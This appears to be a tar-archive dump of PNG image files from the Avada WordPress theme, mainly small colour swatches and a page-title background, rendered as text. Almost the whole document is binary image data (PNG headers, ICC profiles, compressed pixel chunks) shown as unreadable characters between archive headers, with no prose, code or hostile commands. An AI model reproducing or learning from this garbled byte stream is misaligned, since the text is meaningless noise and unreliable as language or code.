츰‘3N9q?8pfωgFN\seȵy'`D3F޵5טۗ~">n0:7ѭ`oỴ$aKI-=R&;d0mZ[f#pgquXtz!VL~K|%qҲU3-_GI4Т:kX:) Q}3"GPAI 2°N\ÝDyZmꗀiz饼c  2[%s ؉{&lAZ=Zϐp$$"Eag΄Om{ψ\nR=`Jr>ԍB4HhcA|&u"X%R!{fԼںm2Ûx2lL<>X+\UI5㴤^ `Rr1Sgɐ:/FF@ i7T9DCl ,y.c^]rpjjL 8?fyn(IENDB`Avada/assets/images/colors/1a80b6.png000064400000001556152342437710013256 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y8IDATX A 0A ԢJR| eN}\l @ @Iʇ[IENDB`Avada/assets/images/colors/65bc7b.png000064400000012247152342437710013344 0ustar00PNG  IHDR szzzTXtRaw profile type exifxK! E"K6ưRvBםH2z26ۍߧxR1z\!ɇ}Wx~ I/}cvgI'yPVHyv+a;'v9 !$5+,;1&I._knn|9vyxFNv[= ЉznΞJP*+Ԉhble-6A5GjO ԩФF K <37mKbm(a5lX4Py(!s'x2!aƧ2Ms.O7.^e,r/y4խnnXA2'lzJڒY>8;Y? r+C>(ElD1OYW U&؈DIrceˌ  > AQ?jhp4i%1F*&L-Yl%I ISLRʩd΂#Lsr9 fxRJ UkVS͵4O M[lR˭ts/Ji#iQ&jm Sg6̳ܨѡgwj0}ubbm@Abb3P5"a;rs[9r}AE6.MLl}NkHo'>dT1ziTXtXML:com.adobe.xmp /~gwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y8IDATX A 0AZLaJR| eNz\l @ @OIENDB`Avada/assets/images/colors/e9a825.png000064400000001556152342437710013272 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y8IDATX A 0Ac*JR| ez\l @ @IENDB`Avada/assets/images/colors/f05858.png000064400000001555152342437710013213 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y7IDATX A @T_ m&*a{ @ @Se:=IENDB`Avada/assets/images/colors/e67fb9.png000064400000001556152342437710013357 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y8IDATX A 0Aqta6JR| eέ~\l @ @B]blIENDB`Avada/assets/images/colors/9e9e9e.png000064400000001553152342437710013363 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y5IDATX A 0 1&D>|)nv @xQ.IENDB`Avada/assets/images/colors/67b7e1.png000064400000001556152342437710013270 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y8IDATX A 0AY$JJR| eN}\l @ @NZ>otIENDB`Avada/assets/images/colors/ffffff.png000064400000001601152342437710013567 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'YKIDATX BwV B=@oV.@{rQ9b@@@*<4E޺IENDB`Avada/assets/images/colors/a0ce4e.png000064400000001556152342437710013416 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y8IDATX A 0A@4JR| eNz\l @ @ pIENDB`Avada/assets/images/colors/ab8b65.png000064400000001556152342437710013344 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y8IDATX A 0AW "KR| ez\l @ @>EIENDB`Avada/assets/images/colors/e10707.png000064400000001555152342437710013177 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y7IDATX A @>H0gj`w޴ @ @..}IENDB`Avada/assets/images/colors/29292a.png000064400000001554152342437710013203 0ustar00PNG  IHDR szzwiCCPICC Profile(c``rI-fa``+) rwRR` ` \\À|/JyӦ|6rV%:wJjq2#R d[:E%@v [^RbOEW; ¾V d? / v:@rF"l&]9P|e   9%.#H]}j^h0LlKR+J@ *23J rRs JKRt 1 L'Y6IDATX A @܀`6pi @ @g0*IENDB`Avada/assets/images/page_title_bg.png000064400000142477152342437710013651 0ustar00PNG  IHDRxW-stEXtSoftwareAdobe ImageReadyqe<fiTXtXML:com.adobe.xmp 퇞oIDATxitq5$r 7mAH?wY @6DM&}'7QynU?^Uުr9y2###O۶=}⦅7/_OOoϞu~zwߟ:.?u^N<^#ߓs5\] ]o7)18]ˋ뢇tyFwz>|&X_f\ӛg㾿|ճWӼ7?s,}^_כށclja|o_q|gk;~1Ɋg\y?{+["ƕ5t's i~F';]S&֤ q&[<7cs1Rgm1bո18Vy~1z[+u~x.7ӭ\wnnZ1u 3hk쓳Fy|յss잵x|Ζ9.$f1yImg[;|Ow8h~r6j>#S~׈s]Iݧ1^K1؋yC_w0pUݷ?}~Poa◨{lhΓ_^/JkNٛx}*/}iWsj/~q~t ~u}?=6;yWzw~wbJO?O\s0g.87ߟ~lo83^ks#}?ý^g[~}mk{}c{y|y7}<q[{~6;~ϻ}oo?=`f[ F2./&ЯyO7&#~+?;aEo>>G6C.)-ycV|g篸ּޜG vބv~?pw½=hϳŽr`||+߃?'xN6; }{rN}0s|ةޏz6W!.U3ش2P!0i~n<.@Zo h榉E:gu =`iߜOg~w sc!v'=<ߏ`ϱT׈wbNL}pr/wAwR6i`ǏA&CKv~y} ^ yVA h+'αF@)/_s`Ƞl`ho3ka@v(em 9X@ݛyuTzN ;?/ߟsyw[s`ZUS UUq/<Ϋʯtg`b H'>q*co㞛Hx ɱoKH 'ρpL{74'yiT<ר/mhɽpʗm$$лX>I_pRa/8wӯ3qa 1ďu}T |ěrYdS{|$@FX")rr4O׌}0s[;/'\4ofVilrl9brqC95mˬ*`bAg{DԸ8* 3\3NݳDVj}(GtFqv SyM@=B+ϡu} w$d8|w^ Iu<՞V%3O^'Nt]m(asBIf'$蕌UT7di\Hەl'tH,|B ``_;~"pE>hgҕw_KM 0 9i ۙk@̋~@=#'q %c\lWh*0I@7I (,Y~%nAGgx 20X&臌Y/8wɆ2z"wwsgd&@`3G=9l#\359^ _𙒥{5^ *۶-rG/7ͪ}~ }=]=ky{& @7?߿/& N!UwUb(L)C_y̻`ǜ 7+Sr6f_5U :r)6n,vFɛ%>t!,뒙ye)O>| 2P1w> V 8qL0tl NAߋyH{%*U|DM%/d%ɢS=9M)nzD%3l)V8$ bH@ѱD QWг~apS-4N?`W`) ZěأD02Dy{z t'`6U"[]/~*'J\ͽIO/0veNnkmWP 86;<{M@qg۞=+H)j{ut%l~9Y%XMs~ qo}kCfz ~@!C?{0wm`uE~s2aܙW1v0vcxh#@|=4{s$Pe WM;$ w<}_?Ycc^w@k:6']NX?яݴڋ?[1~x׫d'Z*0.(Iyg1 w;O`q+Xv hϠb;0H*C<ÜECT٬Lb͋`c~@yg)3⒭8#@'h`DI͛;xlyU3 } f=/;3Ёt[]2UasgL_b=XU/YK[]S">Szb k8~f9iIF)PM/69YFBlS N>_nsswD:ٟ}Yt Zl^3\5)QB9{%jO ^N8k&7 W R_םeDVzq>d/1c|0gR);{IbN8F ؜tO] x0, @q}*meV.kqLxY s>7Hm*<Y5xw+& 2B|;g}v>'T5\4z]a/R6k*$p$8b`ę,t8u|g090T>x9t&ӬUDBAܫt@pt;`[^󮴔yR=w{wuk+7%7 @l97P *GJX 9U['c54x*:Pq =LqS4dL RIkAk{Y`b8|% 7bqs6%!*U s$Pl8Mv6煜7*ya[i"lFDELr-Jg^3dE2{: ٰy=YL 'G=5_|6E7+}XE:H>^G@s߫WiDvl y8yu_Iw`bPT9ݯ? M5e1{'Aɔao x"X PL<J ({aԚIeVXO̒Pzl}R0wWm6ru_x:SJ+uMO_MX=U,el6 @S9`hgFa0r#cf:[`MEřU~Ls]#'7 \Ҁ23d]ʉǻ p{'ZNi2+%UؔZx\}d(_%PЇq~k8yw`oSs^16rz/l70e?4G6r`Xc_165̖=Yz;=s $Ipb K$& ߓ IDa}dqR8&DcR^bJsY$^uD(@ %/llM%dRrJ^6H\j>Dښ8&v|.לqqy8F|< 88n!}:MJGm;aFdXPs ^K m" txvPE`Ua׏ު$M\ԣ8ǁ|Aص6./qYl -l~&&oaWT=> >=W~^Z dzw{q3fUG͜N0 &f6SXudvl EѮ$2nUo׉sC옻!ֲuLRQnl2gi5^U ]7e@TŀC9,W%8Iu<M 2`v#1MAJdq+~Gmn†k\AfW u L  $B; 夛Ӹ`H_i)i7t^e{d]<uU&odA<7*6Ӓn*y5q `ҲoT"dL !pK=YpeD9 Ti<hSӁ{a!=U t۱'$+RS7mV}E^lԖז YGZRX=Wi9nrhT E9=O'+ţڸna+a[ep;֭rԕ&U]6 ߊ3M w~7ƎC MUIJh;\jJcQ\W3GM6Ş܇B}gپ|@6gNf%} 4Sjߓ `kJ^$$6`mfQ&5lw`ޝeB+y<כ.oqaVG*T17P8%"P%Zkuҕ$F=n"B6.~U1!';f3W4L(]Pc^s(}$9֏d.mj{,uW3UPu"wA2SjNu|;`T51Ì: :\:9):ԱTu2 N@NXYjwsӍ*߭[nZ BGSLijױ&*d$wcA M5apU5jE&Еڡ#f?9f2n٬Abr "`PsDVw3֡לF C>nsfxMe.љì#w%тGYzv*b lnoNV W@UrJ(㍥,Cjfz6'Up}zUU]EZiuX@/ D"k6=JzWBn_P5ġƾJN>q u=9*p>y'Ŀ="IF۷yq4MaiZ3g}p,lf[!}I_?79(䊱|qS켞x>n,yc> %i#-eP/ Ż(U L*W`kfkSن.uIf SPv E`,l.^U?=^wx'Nup4٪eT:]gH;rDw :d]7X+c4sqjvj6LL9Akr;&b%S,%͛&0d 6ܐvrvcurzuX!D`λuA hJ?M熝q'34\HL(Ǔ2%w@(9?WubD/+> lh9@pOR@N76r$fƍh]H )*oWUUE R" L,!Id9Bva,=+t=h=&ZsuTM)zruD2]g+6Q9rM jV %4YA5V6#PX<.@Dw\UvpjMV$1t_(%6خtNP] [lMTWN@PḶid+ά}] R8A䔛uɺ͡s٪䶊}y(/~宥#ul&c?G_VI M9kI6c[Gb ,I2vzrQA)fE*MUH wu|UevZ7@ٍ7;m9w>7,f$x~ Q]ٿ*) WCU^tOV ]n߬O.Q9IЛ$XV,ל${A $^Xxc+6QkX1^CYJXU6NJ;ˋ/1/TU߷ҏ761QU%<+ۍs5oZCenX[sA&I;.awjc_FfҚ Nm9NhհAN `R]s.xhh1qݯ]~|#v|{ɍsQuU@(waV $'Lj*+`Wt K~ek ;Rf6@>~Atvqv\8J :J5RKS쩀?2 FR6۫E 4DC{Df' vuN :~}u^SY}h*g;[=%E_a{*&| 3!׭T *PVI jtvBmi:ʍlHd[ -{gfn%P+( ӄNw9~du0Nq6Ź*XU'@R |ϻ{c_D8a~kΟ15CRca}AA0%2F\6NQbX)! TRQt8ȀEMa{X哽>FWt V9r`ೊK&Uu*yG| q>:)̝TVQUH"j#o|#t?'K7A\㽱կ~ MJH;z_IP9U] np\)Ѥ}R NBVY5W56f@S+cvt>L$ &c?P3+Uo1jӟGd t&ƀl窵ܽgٻqTig3T L$*`8mtP{\jAWQ`jSgفD{%N/Y%D!.gUnmgp(K"5 760\n к0X/m,:>@f΁jv{(2Vۍ *#Y]<;Qr-VLIk\ǩ @:6%\TeN@2(})i%AY'L M'װSNWGىYF6ϽWU 8ϼ M*w7R Dۏ19Xɬs 4@"7pMA)NYBhAd*~z P5)Hl]l `7U9z}vr@``pI$xoH.XX!RXK+Պ`M.nҢkk_|p^Kq_T 6@Zܙ8c5k420Nczu]QV 5`r PUR1py'. gJcUe֎ Fίng$: uTkl#;nw`f< V]S''T* u DG4 7  T#2*dqbKlks-vmOQj;ࣛσ%7=si@l@Kl4SJ^+n$4ZCpf"N'lvg=I+mOi*Vi1c;vtOtґ$7E[7L\:mnNS[ie8bvIN}&1?z٨+v[XlF36$]s .CLs _Sؕ/ַΉxŜ [cNZfl07ټ.c nLs˫ rL:{4Uq:Dc4H+9UVm뎯5V vr ܘ+}dUvN7j1p@W#zSɍ{%5N3|s /36ƮrĝpY,y26ٷqfUG{lDtu,\5p5J`tMvlTcwWތ޹Lv/]F ڮ ًW,NЏ2&$0X{b|a ČKOthcS!Ĝt 0ki2J%}Ss67O{wc CUntĝLZ|~ Xw>vwqrr4#_mJi*)[> .GG*ej!&FnlȞk7Iׄ xl@o uJ<>Wx  pR%s]=gr ;Y&ȁ t`2]@^'%Asr]L'nxfNdrtn2wk=-ܦ;ӹրZ'hjJxƽbT@Up*ɢ.t+ǴKŤ'SAڪlN/L t]$wZ.e?J41jUίO?cj*N]L=7xO2|v$0m:2M3Mn9L^Si$x g&R+V#evjV@M9욖B*3 |WA}el}o|YƒYLZG?:bUqmd?ah|\ͤBĊs}Qq0(Qs@P*< {4[#yRźU1JlNm#$`Tɮr+RUy Î$`vﺄs0ԑWyI`>^*cS068Ik@ZT w.{Ut,3cDmTDp"ػ+eqbiJ֭kP*U ^2SBm82ܭ۩58TO$Bu1Y͢߻)KC2 V]j^iG.HVȸqj\ʕ S5N; >ٸd7+іg3dIn*wxn7 o[ pz5w)RWZb]zWf5 Yavs:s5V3[ugWUϴs PCvRYAnޜ tYive]YAđs)=Ցl9rlwyS]*![嬹5^iU34+}hZ?7dɠUcgضu:oWA77FBv@ΑL5'TC=tj Sc9!19 xd9$NtDQdVUA:Ǵ⊂EN*Kx=dCo:|}<Wq1Cfƪ%ǕqJωKW:k:;EwN.UVkאLPN&-*@0\Ojm1Xk$!6y˶PUQ+^%DHv^ɛ U =3XD\ݿ҅_жR ]lŅ>0 P7l_1u`nU%$8|~W-a+G}՚U i0TMVl &$*cD1?361YjvF#z䪝zwyU]_'Zv2ָWyդduʛL@t439Vv$6iWJgzQkxDL0`ͼ|֫љZOkNՊM]h7b& }uR9οs r&ĥE6jUIFC j=veG&~ٰ*JmUSJgȶTӲn/BA);Ң^0IP!+V jC2{ށḿ+oT [{ojFڻ~!]08S JL,DQJ|2P ']n6M0^ǠÊ%T5K V`VǾu]%Nŭ\| +@]S#+%{:9%&1\#K^7JC߷ZK&0IO*AU(T fv{[9~1x(Vꞻ Üa7b~ugŹM"S$!}$x=W|&"[8$bHvn:U3~+#ud]91UeNmr#bU:v|\ T$8Q\Z37 &y~Nfa,x:3@= &ܪj+5|YG@@RXx1a# P^|Lqo_%dfn_1f&DgwI0ɏڮѭrV%!¶ ľ79+UE1T 5?g*_lT2,)};ncs-V8'aq c&[dTHTWϊTvzT>8n11bE % \LtqX.g}{KHe> NԞlϵWj=OJ'swRv8>}_=ZlI^ +;LuJJ}\@|O? &ǹ0S]@^5~9]jL7qtUTjJVnLҥ &9)Iϙp7-V XW۝Dh~ߛDעdu^86HF.캯vOg@&,I@4mm+cbU&k5ZUiO#Tm2Rj^ׯi\rWg]jpS9\B1'ɉdURJ'{e&PoSmkMZ3ZJ,; E7cm[fbMkMzAjgv`|Vw$A-V4Cfֳ8VRI8dF_1 \UANM@WYuɮJUjW׊`2wUU `Ġ1 5T {$0 ybirSI5j45侌 ;f%Í ulK%p t}5R%]SxPH]Py7ߧv 1>3S0XJ6n2 CgO}sWWUj+`FT :\Ukd.1\Y]ݞܬ ZJ3\4$%joDț2'KuYL@-̪1DnNR`R l VFuPDŝ#F ^PhN6Ȋʌ*Ө:Hfv#ٻ9*N_́Oi9;!Jzc=]pt-1\F=_~6^9YB{elub⊂1,lA6]8LjȠ{ ?6uDjW{cg&sUxe[5J-3;tWɮ1ϊ|J:i^ c; YSjOA {N$O 8|b>BBk wzLl?tkQ+w~/~"VU7*Toɨ%L"hIDA(!Y)Ϲׯڲ(e]'ڮr`"U|cW$V`چBh|!+3>$hWr9Y2 KI$0*N)U%Ue>v1Fy_Dp\y /R I0PiU,s?b?}M/8ɍdUI$CpVU@f@.{W͈&&,#ʄ:@ :G΁{:7Q{S?{٨N*`yśs+ 0SLsqTZYt-LN8c}+J Qռs&^|N٭tN>M|14;ױ {xOi^iOv N@"ekMw[+\[WÙH佖푛gMnde]S QUpmjәePULl@5۱o(kz˕:*bnޯYj L}q_܁*14n4'=d)@]Z'/-.FH`|#n'Ǡu9iJ;ctל5|S8%k~tb*}ܝȃqj#T2xοLnf:ًru1xo~q fMi5Mh;r]fNiquWٕNAʮk=ݗ*TҸr r0]Re槚JTNDy}9ٕd+ $U=WUI<=+Mzi54%I0I}G.eu$%s[fk3Ыʖl"#ؒyNR|/6 cPf8K5sɄY8eNJ\Ղ+[ǒ9N5 rpKTl"(-d'SNJ3FZ+͓G ܨ-R|R~G4dבOg'-YR*)&o'~뷶wN|VV6X5^: V~TMWd'm4g c|;QuopXSob! '@WɻpR+i)A짯T_KUkH5XkƬЭfVTטNjR)9XiLbع80 \xa#۪ؕk6\UYÉ.&uV׎AFʩ6v@*ꕛ^7W6JuP \g7''Yovg[yfSFٸJMЧ|ܝ|:o[@kiel۬@fe;ٍmv,YɹP8*pۃpŹ%ԩ}h3&$i6LixTT7VX]c.Y\']Bbx9{r?G }<ڇRsJبe 8VUPS[Gwj+K @*1YnVG#7s@FUz#:sIjg~mަcazs Jwʀܴ9pUS`vEoRQ#-gÝM]7bb8dE8&e/&UCOX4AD;~[X=SU=êwdxϫ/֨U /TR-\_)I1':\) WIWazo%2!'sa!Yx4 ) D#WeԂ*Pvt#l)qed+m뚌(nwV@:G *M;5s6Ss_e|*0v;ΤrVAWt˘vq^Ј!u`Wij>&AZsc=Y.XO}d)ɉ x隲L$EсlIqBS4v~O8R>%UaPAc&'tI56/; JzyU]"J:U(@x%$l*Fhl@ am}AIQ1˧qI{T6W̬$oOcOqkf{ֽOJ* [=G6`pJ+UvY{=#Dɔ^!_\+~coޯ$r (5"'%0ّT (6?Z1+$=4*?w] 2@P8&*婲۴\][R>2eUPu~kMiYWW@:zs]]id5'* Uu0Tp: )Pi%6nZaB,QI X|΃Tj4 NAP~fu_v+o&xtK$(`V*UgiR1*-SU>v/U6yRrJ=LP VpPFn̻D}-u@W=[ X)wv|񳒌AW,{JmX_/xb{waTW]DJKLe\V%ͪ=m1_[I9 9(&4cqo!+Ap򕯜/O_/&WeXٰ>{~GAx_yKclWq4Ak`Vz)OW|=Q>W3s5=4~Ӈ㥣ˁ[5x4YKu_]f) sRV*l +DOVee'YUeUT%2* 9n, *㊆ۤ 3XD{'~,8\=`YּsM$W L +rvXvY.Vv#rP嫤_ͯnƭڐ.P#+`UvAh.z֎ w x^dRq@JU۟ou:?т6Pt_oMWYRns~k e:2MUI{5iO+{R}@q RpP`'ْ.q+vPjnw d *#h6rcbʧcwUl>}&&0(^}kO_ן ~'OO?`rJ\>P)Kh9#p9dY_Cx՚dY%(Khx#h)P}H ȫ$l4`X _WPʐ:pٕM~wegx*(6ʸWnfvƔϥܜs隝]0ށ G \B$O)d ^\&ܳbW.Zcd[+a4dW^7{e#(>^Н_h.AI3F܋5Oj(UŜdVjrk{ [Ω\(onX \3)wϝL4I\aWYw,q@뉁Zp *8͍r^$;H}+I^o !øHj' b9_AUòv{bJ'k8m!+#e'P/X7@엾 r yݒjhk7'Ow? *w)9QUvB΁d&YnRk:on~+߫cߺϕW'1pz*[*|:Ҫ $X@[Tڐ•耤Ԧ˱Cѭ&{sf[ ݕ)]`U+6ϴqj Mb 3G$V&u h;pSDt&+ 9Yi Ωc0;ϻKF#`{LbCWkj )N]Ҳ45t~+Ѭ@9vJLUeU-“y5:[~ 0Ճ?>`?97V Ts"49աG$*8妪ΦuQRpު9w }uMdGUj}dQ`ӷ3Ϲ-5uq3uk)so~|??~~Wo&TsSV7aj+Y)#A0ngp!;} R1tzUW@XM;}R.X)]ˮǕVAPS\FN :XPmSoLyCVLZe&M S4i<f[+h9Օ9b.Dkp8uVoUUmԷ3]84tlW?̫)]cyZF)욉bW{QrrpH?}o=W-C<L r xtj,VO+p4ϫR~Ф;}S#JpWJLJ `t9٦+~O}K֬ETl\zVw]%ۻrp27*c w0p:NA$LT*W.D>{ |5*nj\Y%*n%#Pu.άH`7yn| n|65bgdg&d->m؛ 7/?<8{*I*9VP%V%] ع<>kW`jZwwX/뤰/Ůiz),r@5-ɞl0! Ry h ꪮV #۱\ vg 26oGW,ȸiyT9+r ʹ킡aT'QȀΤ|V0wekWGy ")jW~Gk朂1j ;edSɡҝT96IjD&rKNƦG\߁#?W<&rY]b ߫䪔6cEg+=mdkw2LXG@#>互|J2 ?%l\Sq{\ V=N*Yj]oIlZ%?+?Z5TRE}NUYs=F*Iḓk n\ -o_3QK=os2:'?9x3zlC$#Swj.R]Z% 4GZx7+C_/c}lc5$taװ0Jz^V0㳒eD lUvi*ay)uLq῱ʃ@7vfLEV#h^ :?bcj*W3o\Qu\ Th+j,ΠR1L Q5f ۔p/{D=LrSP`EKOTr/Uܻ sf ɆFDƲ@zlqN( \ҙ&L tvAyt jox*cvlU֕VMkw#O op$'4Ϭ #(D"c9%1⦔+ kSkX d5,H7ΏtWgsBʘ}i|d\8'8t̘Yr q3܃2( +G$rLrj$W9 3Xvw)sӭG֕8 lV5p?!ָcO] *OJWA;Y^/ #uΑ약^6$o_絽^4WbI) p)cvI֕kO#*]GzwApwU×7t6J\oҕ*GF}{wňE欙CkOt}ǣ7cc&/U O޿R1L%Ww+;1'Y)2hg[ެhzviGr#NZvDʹJ//M~gg7ͭw$7`o4x 7ʿ?_,&1tb^~FR\\5*I'i7ƘFؖxn&N]c"dzK9GWyx=޻զ7fmM)06)P圓 b]teWή)I -YTAcd N~c$`ӊ NL).gvUVW%Kht'skᬞ{6\CUZy 9|RV SRb*8:>WU7+݆$[:[K8@\U;Jj٨s>x?3hIuEW{DEÆؑcXsvZhsϺ{,ZU娪L&`B5pZ PUtssڒ[*(ޣ}B"s6Sz^]MmVe ٦rN;P.`nSSU:ԯW@zwUѪ;2̓ fP 9 0 .tz`ˮk7|MK:g9V+ =v'9 WSY򽓔e=IGMԺ]bw )p@IA;Xq@ՠ6 uI-C Pm5/\BD5S he+`kZA&z_\u z'wG!30{8]ɶΣu[Wѕ}tk E=^w{&⳱V-AU>}Y%]yGuOFıv`AHvd$z3*@ʽבo&: uQ1ϪgwK-sM{\m$ -Dl޸`ƚk?οU~|]D֮!;QwUf*a72k$n|$GR~*"Nɦ 06{ %AO*$$ӤpR 7cJN%c\unW-4I(ߺ9{?AO?=XតY"DQ·Q5 ojRD.1sfKq@} OlffGd"ULJ)IyL%6~w4G: sbZ )# ?Y:GrPȒoҔb8k.8b*E.p &WM+ (]wGT`ʂva?UI[{$a`ܘu}Efd6*N^%&sh =?z'VVwk"as{w0Q ;ī$4?BAuʇcocΡʦ+= w~Tsi#~cNns1Ǵp%UUy%h1 սJ&o6$SMP$mq.Ga<*J:o(TTkfSUXU-LA:PeM9X;]j1`̳h,=rTA݌1w+iE{{ǵ9אG_wwk[531V"Ď{n4  5~V JvMWIM"e~+MM4C#=j d} 3@eƦM< $'_ n 4Sr bT`^j_g6PwOltfZ @xq$rUɔ:[R=&kSZk8GƪklzG[lޑەv rN='v[tЊO;G W[w`yN0eu郞5l$%|Q%d4ᾬ?>tvU\[$']P; 6VSok2&c~:S{⿨f ڬ0(UqMңB\E{. qχzVlLiE>8:0|[+Ưj=`Yqd=gO߿$uuEX0:L%ߗnuN?~裏.2SN/Opz9k5TLnV{t ^k:U>9JAS*@0 uc6ɦRڊ188en:3).T9yqEi)Hu@Dw[y8xMJ2#@_v6ZaVL Xt4}M~-}܊9 z4޳M:H4mJuD[kl +1ϤW֣tzS_Nq:{SU2tWGqk^w,ogŊ-aSPd< ;x\[wYbI+] QI%l Tʈd%~:6+SG$H,YcfoT].QU,ngƦŤS9^p6" ??=6dvKǤ r{{VC7ݧ˿^q^wo֊ VJli*vǴaRWvVi*ҙ}w]uθs* 59WnԉCY,QͬiIRjst;S`e'L‰4X4+_=_۩;%Wcm*v` yY=s6%*0cA'0T+vT]Gغ^5O!Z5r:x8tbjH+KE05~5݁\;iɖQڢ+y~$kD3V4WtW;g_sog%ϔ8l?UDM6!d眔G7/U&U& AUtyV?[=U!n]=?s9~Hs6A]+ Uu`u?b :Ӈ~xh;VglRf%Fߠz2j~⍿E}kg&o*:d<`Ygy͎*ˬ6̣@UҷAҁ,P6pZ]iB6NkwE-R$?8x`殛oGe +8ԸML35e;% TcthJwvLIٱZG2Il٬F*Ht欒X}`v+ng=q'~H˫b)D٤JK1&,Ԅ: {4drNk:6M4[uS~jT^WT5UP~L{5skkUb}18Z?:(5FW@ّXcPeKOdWd߳bFg$f:PHI'U/UL9[I1e;ճ=UU_#tk/~yo}c4J_swUW ofa}ŽD__qc5o`|d]L"iϑwޫ99梓_RIc> _ӏ3ȋx0+/} p7Gp§ WxqQdt# Ufк@b`&7qjvPUiP$M[1Vq&pl**cdDMi;YjyR>+/MI\Ppލ'_~8NH6.bNΖLƦ57 `LՀ(Q͉i`|+Nr8+f|pVNwo?VV@B+_ڗ&UwnO;wPʓd.ρ]zq%hL'*{7FUzr|.Yw;7?i4c{nہU)zzWvU_ &sqR-lX$QT`S濲tOt0KE"9Z5C(mgpW%Pڐxa,Ո5c SW X篳?7+_Y  hg'<*Yd(\%; Χq kH5DˍK6tk->駟6U{d=*ue *\焸`3_kcKX`sY,;V{nsMs*1i< \pjM U*y9a)bLj3`|W9uxVϨfe౫0U w.^ëɠ H;JCN˪K h1'%נ*e.;ds[/XI<­2eu #]XI>){1o}[ʌ`w*m1%pT|)du לB9F:fxp}Tσ։n׌ 9A9ax+[ƽgPސ5zY(}h&*]03?U0_l o⸒ '&P1pu P7/@??} WǩҔaQ P$urUz,u|_q2>1u0/ ѐ-Y*I7b^qkŁP~] ,u _U0lދcW9kUjR DR53P7{L뮯cws5MYN\USn|XGprbdwɘJ(X#ޕuj6K޽V=myu P2:vxf8:>r{Q u$ &gxKîFuu碪9gD^L:wkcWv=mԪ-QuI [+{:U3i :NT>QM`5N t?ONڍߗdɋ]ߗ:2);9V>]l<$';v$ISUTM$cX8Y* -z`jF\on\%3RϪjPpÝDq(.) Bj $cIutkO4 7A! 26?1Fss/|7aTJK5;|G" H`o1WcR,+ܘc9lB9ɐIz7;.Cm2 RMdxJ kg@9f%Q%Еݔ];c@Ut횩`%2y܍I&{tr JW+Of5]Rk }$\&jձhq)([@Tu:W9H]y~G:KN 'ʆ]tFzXe2&1oYR[$H";?/>Gڑ@HSĊj<ڂ:(f̭3g Ft6RԱ ƛ ՠWSe՜w<$wT *KrNt8bO+je[ BY*ȽZ\YA~BlolWvÍILsO+y]IhܚT|Ee a4%~pUG:gH2||&IZg zU%L:J'dгñuՔMv>tvX2+d.1A,/gTގ8gm1Ibk֬dܮl~rl/s vrn4 VPU"4U&WgTUVM~PTxL2 N˧s* u% 7}UrY @>eW:f*ÎR9tb)+:yرwECyNdv,icL5O9kXNV8bT:an)cZ9n);6Uw׍D斦@G =jڪ&sr.ҙVZy|= rUI=_']Ol$(nY *~sCkUH`0)¾@Jx {[jS垟Xce/0+g=R„ ^]raulG:}6=*R:bnmeL(cuULcF:s w:':ߏПSM:DyP7~{r~Z醫f[Mx&9瘻LxrF[*c,gROLT{ge_9r*ӿ%\6Db^ȡ1᎛p]\h;MY66 VNkMŁV+T:\ƄL4yXu ;?-Trs$8 NL1W+aIx9CnleH# PZ.\OGZ9y[Qi"9ֱJfMNmJ19LrUR{l{NNEͽg:9xgZ:@.Yvo;w졮ݯslD[Ә=MF8"XZl_M&ljcJ~Gi\W *OLT#w>O]%U*C+ iOfkteݵV!xDql{ [xCŔbX܏՛k$ճXrW,Rj/y!x:|b:À%UDiUjTc]T,$%1ʰY}[1j\U{)Nk 8f*:;@5[D :&o$3bUrJ _9_ҷI6Sǜ0h6Vq+])#femݫ˼? @cw+6 b\} 2i t'bg+J+&+MæFVcNDz { [Gk}K#xTj j.%}㵡*:h3`*+ߑ5Lq˿Ol#+ jRxn} kZj~o1 @K5w'nlϣZ=yzTTd_5W4C wj=C_ل Ͻ9%#`L;ӗztlǾ b6J<?X׫S Թsv[9 